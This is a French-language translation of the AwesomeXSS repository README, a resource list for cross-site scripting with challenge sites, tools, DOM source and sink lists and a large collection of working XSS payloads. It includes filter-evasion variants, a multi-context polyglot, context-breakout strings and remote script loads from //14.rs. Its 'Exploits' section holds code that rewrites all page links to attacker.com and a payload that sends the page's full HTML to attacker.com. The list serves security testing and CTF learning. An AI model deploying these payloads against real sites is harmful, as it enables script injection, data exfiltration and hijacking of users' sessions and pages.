AwesomeXSS

Ce dépôt est une collection de ressources XSS géniales. Les contributions sont les bienvenues et doivent être soumises via une issue.

Sommaire

• Défis
• Lectures et présentations
• Outils
• Cartes mentales
• DOM XSS
• Payloads
• Polyglottes
• Balises et gestionnaires d'événements
• Rupture de contexte
  • Contexte HTML
  • Contexte d'attribut
  • Contexte JavaScript
• Variantes de confirm
• Exploits
• Sondage
• Contournement
• Encodage
• Astuces

Défis

• prompt.ml
• alf.nu/alert1
• xss-game.appspot.com
• polyglot.innerht.ml
• sudo.co.il/xss
• root-me.org
• chefsecure.com
• wechall.net
• codelatte.id/labs/xss

Lectures et présentations

• Contourner les mécanismes de détection XSS
• XSS sur Facebook via le type de contenu PNG
• Comment j'ai rencontré ta copine
• Comment trouver 1,352 vulnérabilités XSS dans des plugins Wordpress en une heure
• XSS aveugle
• Copy Pest

Outils

• XSStrike
• BeEF
• JShell

Cartes mentales XSS

Une belle carte mentale XSS de Jack Masa, ici

DOM XSS

• Votre entrée va-t-elle dans un sink ? Vulnerable
• Non ? Not vulnerable

Source : Une entrée qui pourrait être contrôlée par une source externe (non fiable).

document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Sink : Une méthode potentiellement dangereuse qui pourrait mener à une vulnérabilité. Dans ce cas, une XSS basée sur le DOM.

eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

Cette liste complète de sinks et de sources est tirée de domxsswiki.

Payloads

<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="https://github.com/s0md3v/awesomexss/blob/master/javascript%26colon%3Balert%281%29">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>

Polyglottes

Voici un polyglotte XSS que j'ai créé et qui peut sortir de plus de 20 contextes :

%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

Explication de son fonctionnement, ici

Balises et gestionnaires d'événements

• 105 gestionnaires d'événements avec description
• 200 gestionnaires d'événements sans description

Quelques gestionnaires d'événements moins détectés

ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

Quelques balises HTML que vous utiliserez

img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video

Rupture de contexte

Contexte HTML

Cas : <tag>You searched for $input. </tag>

<svg onload=alert()>
</tag><svg onload=alert()>

Contexte d'attribut

Cas : <tag attribute="$input">

"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()

Contexte JavaScript

Cas : <script> var new something = '$input'; </script>

'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>

Variantes de confirm

Oui, confirm parce que alert est trop mainstream.

confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

Exploits

Remplacer tous les liens

Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});

Voleur de code source

<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">

Sondage

Si rien de tout cela ne fonctionne, jetez un œil à la section Contournement.